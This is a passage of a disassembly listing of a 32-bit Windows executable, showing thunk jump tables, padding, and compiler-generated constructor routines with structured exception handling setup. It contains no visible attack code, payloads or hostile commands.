sub_41BFA0 sub_402004 endp ; --------------------------------------------------------------------------- off_402009 dd offset byte_4BC2E9 ; DATA XREF: ___:off_43E008o align 2 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40200E proc near ; CODE XREF: sub_404640+2CEp ; sub_404C70+472p ... jmp sub_40A670 sub_40200E endp ; --------------------------------------------------------------------------- jmp loc_433120 ; --------------------------------------------------------------------------- jmp sub_41B3D0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40201D proc near ; CODE XREF: sub_422370+Ap jmp sub_422650 sub_40201D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402022 proc near ; CODE XREF: sub_404C70+7EAp jmp sub_41B950 sub_402022 endp ; --------------------------------------------------------------------------- loc_402027: ; DATA XREF: ___:off_43E014o jmp loc_40ADE0 ; --------------------------------------------------------------------------- loc_40202C: ; DATA XREF: ___:off_43E088o jmp loc_42BE60 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402031 proc near ; CODE XREF: ___:0040ADE3p ; ___:0040FEDEp ... jmp sub_40AE10 sub_402031 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402036 proc near ; CODE XREF: sub_424840+109p ; sub_424840+178p ... jmp sub_424720 sub_402036 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40203B proc near ; CODE XREF: sub_4098E0+7p jmp sub_4099D0 sub_40203B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402040 proc near ; CODE XREF: sub_416660+Ap jmp sub_416870 sub_402040 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_402045 proc near jmp sub_40CB10 sub_402045 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40204A proc near ; CODE XREF: ___:0042EEEBp ; sub_42FDD0+EAp jmp sub_433030 sub_40204A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40204F proc near ; CODE XREF: sub_421960+5p ; sub_421A50+6p ... jmp sub_421EF0 sub_40204F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402054 proc near ; CODE XREF: sub_40FF60+8ADp ; sub_40FF60+95Ep ... jmp sub_411990 sub_402054 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_402059 proc near ; CODE XREF: sub_40C040+7p jmp sub_40C230 sub_402059 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40205E proc near ; CODE XREF: sub_418940+34p ; sub_418E90+67p jmp sub_418CA0 sub_40205E endp ; --------------------------------------------------------------------------- jmp loc_409B10 ; --------------------------------------------------------------------------- loc_402068: ; DATA XREF: ___:off_43E13Co jmp loc_427FC0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40206D proc near ; CODE XREF: sub_417020+2Bp ; sub_417020+3Bp ... jmp sub_403EE0 sub_40206D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402072 proc near ; CODE XREF: sub_4097D0+14p jmp sub_409830 sub_402072 endp ; --------------------------------------------------------------------------- jmp loc_431FD0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40207C proc near ; CODE XREF: sub_427AD0:loc_427CDBp jmp sub_4279F0 sub_40207C endp ; --------------------------------------------------------------------------- jmp sub_426650 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402086 proc near ; CODE XREF: sub_418330+4Dp jmp sub_418A70 sub_402086 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40208B proc near ; CODE XREF: sub_415160+5p ; sub_415310+6p ... jmp sub_415CE0 sub_40208B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402090 proc near ; CODE XREF: sub_426650+3p jmp sub_426680 sub_402090 endp ; --------------------------------------------------------------------------- jmp loc_41B0F0 ; --------------------------------------------------------------------------- jmp loc_421620 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40209F proc near ; CODE XREF: ___:00416D4Fp jmp sub_407030 sub_40209F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020A4 proc near ; CODE XREF: sub_413670+83p ; sub_4144D0+91p ... jmp sub_415310 sub_4020A4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020A9 proc near ; DATA XREF: ___:0043E054o jmp sub_41EF30 sub_4020A9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020AE proc near ; CODE XREF: sub_40A9F0+144p jmp sub_40AD00 sub_4020AE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020B3 proc near ; CODE XREF: sub_42FF50+BAp ; sub_432980+36p jmp sub_4329F0 sub_4020B3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020B8 proc near ; CODE XREF: sub_421DF0+23p ; sub_422240+11p jmp sub_4223E0 sub_4020B8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4020BD proc near ; CODE XREF: sub_4220E0+4p jmp sub_4224F0 sub_4020BD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020C2 proc near ; CODE XREF: sub_42A810+3BBp jmp sub_42A440 sub_4020C2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020C7 proc near ; CODE XREF: ___:0041A212p jmp sub_41A2B0 sub_4020C7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020CC proc near ; CODE XREF: sub_416760+Ap jmp sub_4168C0 sub_4020CC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020D1 proc near ; DATA XREF: ___:off_43E18Co jmp sub_42B2D0 sub_4020D1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4020D6 proc near ; CODE XREF: sub_415C70+4p jmp sub_416490 sub_4020D6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4020DB proc near ; CODE XREF: ___:0042F4B6p ; ___:0042F518p ... jmp sub_4337E0 sub_4020DB endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020E0 proc near ; CODE XREF: sub_418D20+8p jmp sub_418FC0 sub_4020E0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4020E5 proc near ; CODE XREF: sub_418890+34p ; sub_418D80+67p jmp sub_418BA0 sub_4020E5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020EA proc near ; CODE XREF: sub_41A6D0+117p jmp sub_41A860 sub_4020EA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020EF proc near ; CODE XREF: sub_415AA0+35p jmp sub_416570 sub_4020EF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020F4 proc near ; CODE XREF: sub_404C70+45Cp ; sub_4066E0+43p ... jmp sub_409BC0 sub_4020F4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4020F9 proc near ; CODE XREF: sub_40BD20+5p ; sub_40BE60+6p ... jmp sub_40C060 sub_4020F9 endp ; --------------------------------------------------------------------------- jmp loc_42F5B0 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_402103 proc near ; CODE XREF: ___:00416E7Ap jmp sub_4190B0 sub_402103 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402108 proc near ; CODE XREF: ___:00429A33p jmp sub_429A60 sub_402108 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40210D proc near ; CODE XREF: sub_40FF60+F3Dp ; sub_40FF60+1392p ... jmp sub_4147D0 sub_40210D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402112 proc near ; CODE XREF: sub_4139B0+38p ; sub_413DA0+5Fp jmp sub_413510 sub_402112 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402117 proc near ; CODE XREF: sub_40A130+14p ; sub_40A160+7p ... jmp sub_40A180 sub_402117 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40211C proc near ; CODE XREF: sub_42A150+157p jmp sub_429D00 sub_40211C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402121 proc near ; CODE XREF: sub_40ABE0+1Ap ; sub_40AC30+1Ap jmp sub_40ACA0 sub_402121 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402126 proc near ; CODE XREF: sub_415600+3p ; ___:00415E1Fp ... jmp sub_416050 sub_402126 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40212B proc near ; DATA XREF: ___:0043E02Co jmp sub_40FF60 sub_40212B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402130 proc near ; CODE XREF: sub_4147D0+EDp jmp sub_415830 sub_402130 endp ; --------------------------------------------------------------------------- jmp loc_41B390 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40213A proc near ; CODE XREF: sub_40BE20+3p jmp sub_40C0A0 sub_40213A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40213F proc near ; CODE XREF: sub_40BEC0+11p ; ___:0040BEE7p ... jmp sub_40C1E0 sub_40213F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402144 proc near ; CODE XREF: sub_41E660+2C5p jmp sub_4207E0 sub_402144 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402149 proc near ; CODE XREF: sub_41D830+652p jmp sub_41C070 sub_402149 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40214E proc near ; CODE XREF: sub_418BC0+32p jmp sub_418E90 sub_40214E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402153 proc near ; CODE XREF: sub_40EC30+ACp ; ___:0040F35Dp jmp sub_40ED70 sub_402153 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402158 proc near ; CODE XREF: sub_4137E0+93p jmp sub_433A20 sub_402158 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_40215D proc near ; CODE XREF: sub_4151D0+1Fp ; sub_415AA0+2Cp jmp sub_415A00 sub_40215D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402162 proc near ; CODE XREF: ___:0042541Dp jmp sub_4253E0 sub_402162 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_402167 proc near ; CODE XREF: sub_420530+17Dp jmp sub_4219D0 sub_402167 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40216C proc near ; CODE XREF: ___:0042C261p jmp sub_42A090 sub_40216C endp ; --------------------------------------------------------------------------- loc_402171: ; DATA XREF: ___:off_43E010o jmp loc_409B10 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402176 proc near ; CODE XREF: sub_40A9F0+6Ap ; sub_40A9F0+103p jmp sub_40AC30 sub_402176 endp ; --------------------------------------------------------------------------- jmp loc_426620 ; --------------------------------------------------------------------------- jmp loc_41AC00 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402185 proc near ; CODE XREF: sub_407220+16p ; sub_407260+Bp ... jmp sub_4074C0 sub_402185 endp ; --------------------------------------------------------------------------- jmp loc_416CE0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40218F proc near ; CODE XREF: sub_40B000+1Bp jmp sub_432AD0 sub_40218F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402194 proc near ; CODE XREF: ___:00415A5Ap jmp sub_4164E0 sub_402194 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402199 proc near ; CODE XREF: sub_42F6B0+ABp ; sub_430690+1Bp ... jmp sub_430700 sub_402199 endp ; --------------------------------------------------------------------------- jmp loc_42EA90 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4021A3 proc near ; CODE XREF: ___:004086B7p ; ___:004086DCp ... jmp sub_4198C0 sub_4021A3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4021A8 proc near ; DATA XREF: ___:0043E130o ; ___:0043E140o ... jmp sub_42C710 sub_4021A8 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4021AD proc near ; CODE XREF: sub_40B520+55p jmp sub_409FD0 sub_4021AD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4021B2 proc near ; DATA XREF: ___:off_43E14Co jmp sub_428220 sub_4021B2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4021B7 proc near ; CODE XREF: sub_421AF0+34p ; sub_422410+67p jmp sub_422130 sub_4021B7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4021BC proc near ; CODE XREF: sub_4070F0+2Cp ; sub_4070F0+68p ... jmp sub_407260 sub_4021BC endp ; --------------------------------------------------------------------------- jmp loc_4333F0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4021C6 proc near ; CODE XREF: sub_41C610+1B3p ; sub_41C610+332p ... jmp sub_41D670 sub_4021C6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4021CB proc near ; CODE XREF: sub_40BC70+11p ; sub_40BEC0+1Fp jmp sub_40BFF0 sub_4021CB endp ; --------------------------------------------------------------------------- jmp loc_42F5F0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4021D5 proc near ; CODE XREF: sub_4245F0+1Ap ; sub_4246D0+1Bp ... jmp sub_424420 sub_4021D5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4021DA proc near ; CODE XREF: ___:004169BBp jmp sub_418940 sub_4021DA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn thunk sub_4021DF proc near jmp sub_42BB70 sub_4021DF endp ; --------------------------------------------------------------------------- jmp loc_42EC80 ; --------------------------------------------------------------------------- jmp loc_42EE10 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4021EE proc near ; CODE XREF: sub_433160+1Bp jmp sub_4331D0 sub_4021EE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4021F3 proc near ; CODE XREF: sub_42E400+101p jmp sub_42DD50 sub_4021F3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4021F8 proc near ; DATA XREF: ___:off_43E00Co jmp sub_4071C0 sub_4021F8 endp ; --------------------------------------------------------------------------- jmp loc_42E2D0 ; --------------------------------------------------------------------------- jmp locret_418840 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402207 proc near ; CODE XREF: sub_4036D0+25p ; sub_4036D0+35p ... jmp sub_403C90 sub_402207 endp ; --------------------------------------------------------------------------- jmp loc_433100 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402211 proc near ; CODE XREF: sub_418330+88p ; sub_418330+98p jmp sub_418A90 sub_402211 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402216 proc near ; CODE XREF: ___:00416ABBp ; ___:00439F0Aj ... jmp sub_417770 sub_402216 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40221B proc near ; CODE XREF: sub_418AE0+5p jmp sub_418D50 sub_40221B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402220 proc near ; CODE XREF: sub_414640+3p jmp sub_414670 sub_402220 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402225 proc near ; CODE XREF: ___:0042F2FBp ; ___:0042FC27p ... jmp sub_430AD0 sub_402225 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40222A proc near ; DATA XREF: ___:off_43E11Co jmp sub_427600 sub_40222A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_40222F proc near ; CODE XREF: sub_42F840+102p ; sub_431730+5Dp ... jmp sub_430810 sub_40222F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402234 proc near ; CODE XREF: sub_413510+5Cp ; sub_413510+C0p ... jmp sub_415460 sub_402234 endp ; --------------------------------------------------------------------------- jmp loc_431410 ; --------------------------------------------------------------------------- jmp loc_42F170 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402243 proc near ; CODE XREF: sub_41D830+203p jmp sub_42D0D0 sub_402243 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402248 proc near ; CODE XREF: sub_42E400+148p ; sub_42E400+173p jmp sub_42DC70 sub_402248 endp ; --------------------------------------------------------------------------- jmp loc_42E1A0 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402252 proc near ; CODE XREF: sub_4133D0+34p ; sub_4147D0+40p jmp sub_4158F0 sub_402252 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402257 proc near ; CODE XREF: sub_40CBB0+1A4p ; sub_40CF60+ADp jmp sub_40CF60 sub_402257 endp ; --------------------------------------------------------------------------- jmp loc_42E220 ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_402261 proc near ; CODE XREF: sub_422A40+938p jmp loc_423FA0 sub_402261 endp ; --------------------------------------------------------------------------- jmp loc_419A90 ; --------------------------------------------------------------------------- loc_40226B: ; CODE XREF: ___:00438CE6j jmp loc_40CEE0 ; --------------------------------------------------------------------------- byte_402270 db 1270h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4034E0 proc near ; CODE XREF: sub_4019B5j var_46C = dword ptr -46Ch var_468 = byte ptr -468h var_450 = byte ptr -450h var_438 = byte ptr -438h var_420 = byte ptr -420h var_408 = dword ptr -408h var_404 = byte ptr -404h var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 0FFFFFFFFh push offset SEH_4034E0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 460h mov eax, [esp+46Ch+arg_4] push ebp push esi push edi mov [esp+478h+var_408], eax mov eax, [esp+478h+arg_8] xor edi, edi mov esi, 1 cmp eax, edi mov [esp+478h+var_46C], edi jz short loc_403539 lea edx, [esp+478h+arg_8] lea ecx, [esp+478h+var_404] loc_40352A: ; CODE XREF: sub_4034E0+57j add edx, 4 mov [ecx], eax inc esi add ecx, 4 mov eax, [edx] cmp eax, edi jnz short loc_40352A loc_403539: ; CODE XREF: sub_4034E0+3Dj lea ecx, [esp+478h+var_468] mov [esp+esi*4+478h+var_408], edi call sub_401424 push offset asc_4435EC ; "|" lea ecx, [esp+47Ch+var_438] mov [esp+47Ch+var_4], 1 call sub_401861 push offset aABCDEFGHIJKLMN ; "a|b|c|d|e|f|g|h|i|j|k|l|m|n|o|p|q|r|s|t"... lea ecx, [esp+47Ch+var_468] mov byte ptr [esp+47Ch+var_4], 2 call sub_401A87 push offset byte_446F60 lea ecx, [esp+47Ch+var_450] call sub_401861 mov byte ptr [esp+478h+var_4], 3 xor esi, esi lea edi, [esp+478h+var_408] loc_403591: ; CODE XREF: sub_4034E0+105j mov ebp, [edi] test ebp, ebp jz short loc_4035E7 lea ecx, [esp+478h+var_438] call sub_401681 dec ebp push eax lea ecx, [esp+47Ch+var_420] push ebp push ecx lea ecx, [esp+484h+var_468] call sub_4016AE mov ecx, eax mov byte ptr [esp+478h+var_4], 4 call sub_4017E4 push eax lea ecx, [esp+47Ch+var_450] call sub_401A9B lea ecx, [esp+478h+var_420] mov byte ptr [esp+478h+var_4], 3 call sub_401226 inc esi add edi, 4 cmp esi, 0FFh jb short loc_403591 loc_4035E7: ; CODE XREF: sub_4034E0+B5j mov esi, [esp+478h+arg_0] lea edx, [esp+478h+var_450] push edx mov ecx, esi call sub_4014C9 mov [esp+478h+var_46C], 1 lea ecx, [esp+478h+var_450] mov byte ptr [esp+478h+var_4], 2 call sub_401226 lea ecx, [esp+478h+var_438] mov byte ptr [esp+478h+var_4], 1 call sub_401226 lea ecx, [esp+478h+var_468] mov byte ptr [esp+478h+var_4], 0 call sub_401226 mov ecx, [esp+478h+var_C] mov eax, esi pop edi pop esi pop ebp mov large fs:0, ecx add esp, 46Ch retn sub_4034E0 endp ; --------------------------------------------------------------------------- db 90h db 60h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4036B0 proc near ; CODE XREF: sub_401681j mov eax, [ecx+9] retn sub_4036B0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4036D0 proc near ; CODE XREF: sub_40129Ej var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_4036D0 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_4011B3 lea ecx, [esi+9] call sub_402207 lea ecx, [esi+52h] mov [esp+14h+var_4], 0 call sub_402207 lea ecx, [esi+9Bh] mov byte ptr [esp+14h+var_4], 1 call sub_402207 lea ecx, [esi+0E4h] mov byte ptr [esp+14h+var_4], 2 call sub_402207 lea ecx, [esi+12Dh] mov byte ptr [esp+14h+var_4], 3 call sub_402207 lea ecx, [esi+176h] mov byte ptr [esp+14h+var_4], 4 call sub_402207 lea ecx, [esi+1BFh] mov byte ptr [esp+14h+var_4], 5 call sub_402207 lea ecx, [esi+208h] mov byte ptr [esp+14h+var_4], 6 call sub_402207 lea ecx, [esi+251h] mov byte ptr [esp+14h+var_4], 7 call sub_402207 lea ecx, [esi+29Ah] mov byte ptr [esp+14h+var_4], 8 call sub_402207 lea ecx, [esi+2E3h] mov byte ptr [esp+14h+var_4], 9 call sub_402207 lea ecx, [esi+32Ch] mov byte ptr [esp+14h+var_4], 0Ah call sub_402207 lea ecx, [esi+375h] mov byte ptr [esp+14h+var_4], 0Bh call sub_402207 lea ecx, [esi+3BEh] mov byte ptr [esp+14h+var_4], 0Ch call sub_402207 lea ecx, [esi+407h] mov byte ptr [esp+14h+var_4], 0Dh call sub_402207 lea ecx, [esi+450h] mov byte ptr [esp+14h+var_4], 0Eh call sub_402207 lea ecx, [esi+499h] mov byte ptr [esp+14h+var_4], 0Fh call sub_402207 lea ecx, [esi+4E2h] mov byte ptr [esp+14h+var_4], 10h call sub_402207 lea ecx, [esi+52Bh] mov byte ptr [esp+14h+var_4], 11h call sub_402207 mov byte ptr [esp+14h+var_4], 12h lea ecx, [esi+574h] call sub_402207 lea ecx, [esi+5BDh] mov byte ptr [esp+14h+var_4], 13h call sub_402207 lea ecx, [esi+606h] mov byte ptr [esp+14h+var_4], 14h call sub_402207 lea ecx, [esi+64Fh] mov byte ptr [esp+14h+var_4], 15h call sub_402207 lea ecx, [esi+698h] mov byte ptr [esp+14h+var_4], 16h call sub_402207 lea ecx, [esi+6E1h] mov byte ptr [esp+14h+var_4], 17h call sub_402207 lea ecx, [esi+72Ah] mov byte ptr [esp+14h+var_4], 18h call sub_402207 lea ecx, [esi+773h] mov byte ptr [esp+14h+var_4], 19h call sub_402207 lea ecx, [esi+7BCh] mov byte ptr [esp+14h+var_4], 1Ah call sub_402207 lea ecx, [esi+805h] mov byte ptr [esp+14h+var_4], 1Bh call sub_402207 lea ecx, [esi+84Eh] mov byte ptr [esp+14h+var_4], 1Ch call sub_402207 lea ecx, [esi+897h] mov byte ptr [esp+14h+var_4], 1Dh call sub_402207 lea ecx, [esi+8E0h] mov byte ptr [esp+14h+var_4], 1Eh call sub_402207 lea ecx, [esi+929h] mov byte ptr [esp+14h+var_4], 1Fh call sub_402207 lea ecx, [esi+972h] mov byte ptr [esp+14h+var_4], 20h call sub_402207 lea ecx, [esi+9BBh] mov byte ptr [esp+14h+var_4], 21h call sub_402207 lea ecx, [esi+0A04h] mov byte ptr [esp+14h+var_4], 22h call sub_402207 lea ecx, [esi+0A4Dh] mov byte ptr [esp+14h+var_4], 23h call sub_402207 lea ecx, [esi+0A96h] mov byte ptr [esp+14h+var_4], 24h call sub_402207 lea ecx, [esi+0ADFh] mov byte ptr [esp+14h+var_4], 25h call sub_402207 lea ecx, [esi+0B28h] mov byte ptr [esp+14h+var_4], 26h call sub_402207 lea ecx, [esi+0B71h] mov byte ptr [esp+14h+var_4], 27h call sub_401749 lea ecx, [esi+0B9Fh] mov byte ptr [esp+14h+var_4], 28h call sub_401749 lea ecx, [esi+0BCDh] mov byte ptr [esp+14h+var_4], 29h call sub_401749 lea ecx, [esi+0BFBh] mov byte ptr [esp+14h+var_4], 2Ah call sub_401749 lea ecx, [esi+0C29h] mov byte ptr [esp+14h+var_4], 2Bh call sub_401749 lea ecx, [esi+0C57h] mov byte ptr [esp+14h+var_4], 2Ch call sub_401749 lea ecx, [esi+0C85h] mov byte ptr [esp+14h+var_4], 2Dh call sub_401749 lea ecx, [esi+0CB3h] mov byte ptr [esp+14h+var_4], 2Eh call sub_401749 lea ecx, [esi+0CE1h] mov byte ptr [esp+14h+var_4], 2Fh call sub_401749 lea ecx, [esi+0D0Fh] mov byte ptr [esp+14h+var_4], 30h call sub_401749 lea ecx, [esi+0D3Dh] mov byte ptr [esp+14h+var_4], 31h call sub_401749 lea ecx, [esi+0D6Bh] mov byte ptr [esp+14h+var_4], 32h call sub_401749 lea ecx, [esi+0D99h] mov byte ptr [esp+14h+var_4], 33h call sub_401749 lea ecx, [esi+0DC7h] mov byte ptr [esp+14h+var_4], 34h call sub_401749 lea ecx, [esi+0DF5h] mov byte ptr [esp+14h+var_4], 35h call sub_401749 lea ecx, [esi+0E23h] mov byte ptr [esp+14h+var_4], 36h call sub_401749 lea ecx, [esi+0E51h] mov byte ptr [esp+14h+var_4], 37h call sub_401749 lea ecx, [esi+0E7Fh] mov byte ptr [esp+14h+var_4], 38h call sub_4011A4 lea ecx, [esi+10C7h] mov byte ptr [esp+14h+var_4], 39h call sub_4011A4 lea ecx, [esi+130Fh] mov byte ptr [esp+14h+var_4], 3Ah call sub_4011A4 lea ecx, [esi+1557h] mov byte ptr [esp+14h+var_4], 3Bh call sub_4011A4 lea ecx, [esi+179Fh] mov byte ptr [esp+14h+var_4], 3Ch call sub_4011A4 mov ecx, [esp+14h+var_C] mov dword ptr [esi], offset off_43E000 mov byte ptr [esi+4], 0 mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_4036D0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 110h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403C00 proc near ; CODE XREF: sub_401023j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_403C00 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+15h] mov [esp+14h+var_4], 0 call sub_401226 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_403C00 endp ; --------------------------------------------------------------------------- db 4 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403C70 proc near ; CODE XREF: sub_4011B3j mov eax, ecx mov dword ptr [eax], offset off_43E004 retn sub_403C70 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403C90 proc near ; CODE XREF: sub_402207j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_403C90 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401424 lea ecx, [esi+1Eh] mov [esp+14h+var_4], 0 call sub_401424 lea ecx, [esi+33h] mov byte ptr [esp+14h+var_4], 1 call sub_401424 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_403C90 endp ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403D10 proc near ; CODE XREF: sub_401AD2j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_403D10 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi lea ecx, [esi+33h] mov [esp+14h+var_4], 1 call sub_401226 lea ecx, [esi+1Eh] mov byte ptr [esp+14h+var_4], 0 call sub_401226 mov ecx, esi mov [esp+14h+var_4], 0FFFFFFFFh call sub_401226 mov ecx, [esp+14h+var_C] pop esi mov large fs:0, ecx add esp, 10h retn sub_403D10 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403D90 proc near ; CODE XREF: sub_401749j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_403D90 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_401424 lea ecx, [esi+15h] mov [esp+14h+var_4], 0 call sub_401424 mov ecx, [esp+14h+var_C] mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_403D90 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_403E00 proc near ; CODE XREF: sub_4011A4j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push offset SEH_403E00 mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx mov [esp+14h+var_10], esi call sub_402207 lea ecx, [esi+49h] mov [esp+14h+var_4], 0 call sub_402207 lea ecx, [esi+92h] mov byte ptr [esp+14h+var_4], 1 call sub_402207 lea ecx, [esi+0DBh] mov byte ptr 